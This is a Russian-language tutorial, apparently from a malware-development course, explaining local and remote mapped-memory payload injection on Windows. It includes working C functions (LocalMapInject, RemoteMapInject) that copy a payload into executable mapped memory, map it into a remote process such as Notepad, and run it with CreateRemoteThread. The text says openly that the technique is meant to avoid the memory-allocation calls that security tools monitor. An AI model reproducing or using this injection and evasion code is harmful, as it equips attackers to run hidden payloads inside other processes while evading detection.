Локальная инъекция отображаемой памяти
Введение
До сих пор во всех предыдущих реализациях использовался тип локальной памяти для хранения полезной нагрузки во время выполнения. Локальная память выделяется с использованием VirtualAlloc или VirtualAllocEx.На следующем изображении показана выделенная локальная память в реализации "LocalThreadHijacking", содержащей полезную нагрузку.
Отображаемая память
Процесс выделения локальной памяти тщательно отслеживается средствами безопасности из-за его широкого использования вредоносным программам.Чтобы избежать таких часто контролируемых WinAPI, таких-как VirtualAlloc/Ex и VirtualProtect/Ex, инъекция отображаемой памяти использует тип отображаемой памяти с использованием различных WinAPI, таких как CreateFileMapping и MapViewOfFile.
Также стоит отметить, что WinAPI VirtualProtect/Ex не может использоваться для изменения разрешений памяти отображаемой памяти.
Локальная инъекция отображаемой памяти
Этот раздел объясняет WinAPI, необходимые для выполнения локальной инъекции отображаемой памяти.CreateFileMapping
CreateFileMapping создает объект отображения файла, предоставляя доступ к содержимому файла через техники отображения памяти.Это позволяет процессу создать виртуальное пространство памяти, которое отображается на содержимое файла на диске или на другое место в памяти. Функция возвращает дескриптор объекта отображения файла.
C:
HANDLE CreateFileMappingA(
[in] HANDLE hFile,
[in, optional] LPSECURITY_ATTRIBUTES lpFileMappingAttributes, // Не требуется - NULL
[in] DWORD flProtect,
[in] DWORD dwMaximumSizeHigh, // Не требуется - NULL
[in] DWORD dwMaximumSizeLow,
[in, optional] LPCSTR lpName // Не требуется - NULL
);
Три обязательных параметра для этой техники объяснены ниже. Параметры, отмеченные как необязательные, могут быть установлены в NULL.
- hFile — дескриптор файла, из которого создается дескриптор отображения файла. Поскольку создание отображения файла из файла не требуется в реализации, может быть использован флаг INVALID_HANDLE_VALUE.
- flProtect — определяет защиту страницы объекта отображения файла. В этой реализации будет установлено PAGE_EXECUTE_READWRITE.
- dwMaximumSizeLow — размер возвращаемого дескриптора отображения файла. Значение этого параметра будет размером полезной нагрузки.
MapViewOfFile
MapViewOfFile отображает объект отображения файла в адресном пространстве процесса. Он принимает дескриптор объекта отображения файла и желаемые права доступа и возвращает указатель на начало отображения в адресном пространстве процесса.
C:
LPVOID MapViewOfFile(
[in] HANDLE hFileMappingObject,
[in] DWORD dwDesiredAccess,
[in] DWORD dwFileOffsetHigh, // Not Required - NULL
[in] DWORD dwFileOffsetLow, // Not Required - NULL
[in] SIZE_T dwNumberOfBytesToMap
);
Три обязательных параметра для этой техники объяснены ниже. Параметры, отмеченные как необязательные, могут быть установлены в NULL.
- hFileMappingObject — возвращаемый дескриптор из WinAPI CreateFileMapping, который является объектом отображения файла.
- dwDesiredAccess — тип доступа к объекту отображения файла, который определяет защиту страницы созданной страницы.
- dwNumberOfBytesToMap — размер полезной нагрузки.
Функция LocalMapInject
LocalMapInject — функция, выполняющая локальную инъекцию отображаемой памяти. Она принимает 3 аргумента:- pPayload — базовый адрес полезной нагрузки.
- sPayloadSize — размер полезной нагрузки.
- ppAddress — указатель на PVOID, который получает базовый адрес отображаемой памяти.
C:
BOOL LocalMapInject(IN PBYTE pPayload, IN SIZE_T sPayloadSize, OUT PVOID* ppAddress) {
BOOL bSTATE = TRUE;
HANDLE hFile = NULL;
PVOID pMapAddress = NULL;
hFile = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sPayloadSize, NULL);
if (hFile == NULL) {
printf("[!] CreateFileMapping Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
pMapAddress = MapViewOfFile(hFile, FILE_MAP_WRITE | FILE_MAP_EXECUTE, NULL, NULL, sPayloadSize);
if (pMapAddress == NULL) {
printf("[!] MapViewOfFile Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
memcpy(pMapAddress, pPayload, sPayloadSize);
_EndOfFunction:
*ppAddress = pMapAddress;
if (hFile)
CloseHandle(hFile);
return bSTATE;
}
UnmapViewOfFile
UnmapViewOfFile — это WinAPI, который используется для деактивации ранее отображаемой памяти. Эта функция должна вызываться только после завершения выполнения полезной нагрузки и не во время ее выполнения. UnmapViewOfFile требует только базовый адрес отображаемого представления файла для его деактивации.
Демо
Выделение буфера отображаемой памяти.
Копирование нагрузки
Запуск, через создание потока
Удаленная инъекция через отображение памяти
В этом разделе объясняются WinAPI, необходимые для удаленной инъекции через отображение памяти. Шаги выполнения удаленной инъекции через отображение памяти перечислены ниже.
- Вызывается CreateFileMapping для создания объекта отображения файла.
- Затем вызывается MapViewOfFile, чтобы отобразить объект отображения файла в адресное пространство локального процесса.
- Полезная нагрузка перемещается в локально выделенную память.
- Новое представление файла отображается в удаленное адресное пространство целевого процесса, используя MapViewOfFile2, отображая локальное представление файла в удаленный процесс, и таким образом, нашу скопированную полезную нагрузку.
MapViewOfFile2 отображает представление файла в адресное пространство указанного, удаленного процесса.
C:
PVOID MapViewOfFile2(
[in] HANDLE FileMappingHandle, // Дескриптор для объекта отображения файла, возвращенного CreateFileMappingA/W
[in] HANDLE ProcessHandle, // Дескриптор целевого процесса
[in] ULONG64 Offset, // Не требуется - NULL
[in, optional] PVOID BaseAddress, // Не требуется - NULL
[in] SIZE_T ViewSize, // Не требуется - NULL
[in] ULONG AllocationType, // Не требуется - NULL
[in] ULONG PageProtection // Желаемая защита страницы.
);
- FileMappingHandle - дескриптор раздела, который будет отображен в адресное пространство указанного процесса.
- ProcessHandle - дескриптор процесса, в котором будет отображен раздел. Дескриптор должен иметь маску доступа PROCESS_VM_OPERATION.
- PageProtection - желаемая защита страницы.
В отличие от локальной инъекции через отображение памяти, нет необходимости делать локальное представление файла исполняемым, так как полезная нагрузка не выполняется локально. Вместо этого MapViewOfFile использует флаг FILE_MAP_WRITE для копирования полезной нагрузки.
MapViewOfFile2 затем отображает те же байты в адресное пространство целевого процесса.
MapViewOfFile2 делит дескриптор отображения файла с MapViewOfFile. Следовательно, любые изменения полезной нагрузки в локально отображенном представлении файла отражаются в удаленном отображенном представлении файла в удаленном процессе. Это полезно для реальных реализаций, где требуется выполнить зашифрованную полезную нагрузку, так как полезная нагрузка может быть отображена в удаленный процесс и дешифрована локально, тем самым дешифруя полезную нагрузку в удаленном представлении файла для выполнения.
Функция удаленной инъекции через отображение памяти
RemoteMapInject - это функция, которая выполняет удаленную инъекцию через отображение памяти. Она принимает 4 аргумента:
- hProcess - дескриптор целевого процесса.
- pPayload - базовый адрес полезной нагрузки.
- sPayloadSize - размер полезной нагрузки.
- ppAddress - указатель на PVOID, который получает базовый адрес отображенной памяти.
C:
BOOL RemoteMapInject(IN HANDLE hProcess, IN PBYTE pPayload, IN SIZE_T sPayloadSize, OUT PVOID* ppAddress) {
BOOL bSTATE = TRUE;
HANDLE hFile = NULL;
PVOID pMapLocalAddress = NULL,
pMapRemoteAddress = NULL;
hFile = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sPayloadSize, NULL);
if (hFile == NULL) {
printf("\t[!] CreateFileMapping Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
pMapLocalAddress = MapViewOfFile(hFile, FILE_MAP_WRITE, NULL, NULL, sPayloadSize);
if (pMapLocalAddress == NULL) {
printf("\t[!] MapViewOfFile Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
memcpy(pMapLocalAddress, pPayload, sPayloadSize);
pMapRemoteAddress = MapViewOfFile2(hFile, hProcess, NULL, NULL, NULL, NULL, PAGE_EXECUTE_READWRITE);
if (pMapRemoteAddress == NULL) {
printf("\t[!] MapViewOfFile2 Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
printf("\t[+] Remote Mapping Address : 0x%p \n", pMapRemoteAddress);
_EndOfFunction:
*ppAddress = pMapRemoteAddress;
if (hFile)
CloseHandle(hFile);
return bSTATE;
}
UnmapViewOfFile
Напомним, что UnmapViewOfFile требует только базовый адрес отображаемого представления файла, который должен быть деактивирован.
Вызов WinAPI UnmapViewOfFile для отображения локально отображаемой полезной нагрузки запрещен, когда полезная нагрузка все еще выполняется, потому что удалённое представление файла является отражением локального.
Таким образом, деактивация локального представления файла вызовет сбой удалённого процесса, так как полезная нагрузка все еще активна.
Демо
Целевой процесс для этой демонстрации — Notepad.exe.
Ниже представлено изображение, на котором показана локально отображенная память, содержащая полезную нагрузку. Обратите внимание, что разрешения на память установлены как RW (чтение и запись).
MapViewOfFile2 отображает те же байты в адресное пространство целевого процесса, notepad.exe. Удаленно отображенная память теперь содержит полезную нагрузку с разрешениями RWX (чтение, запись и выполнение).
Выполнение полезной нагрузки (используя CreateRemoteThread для простоты)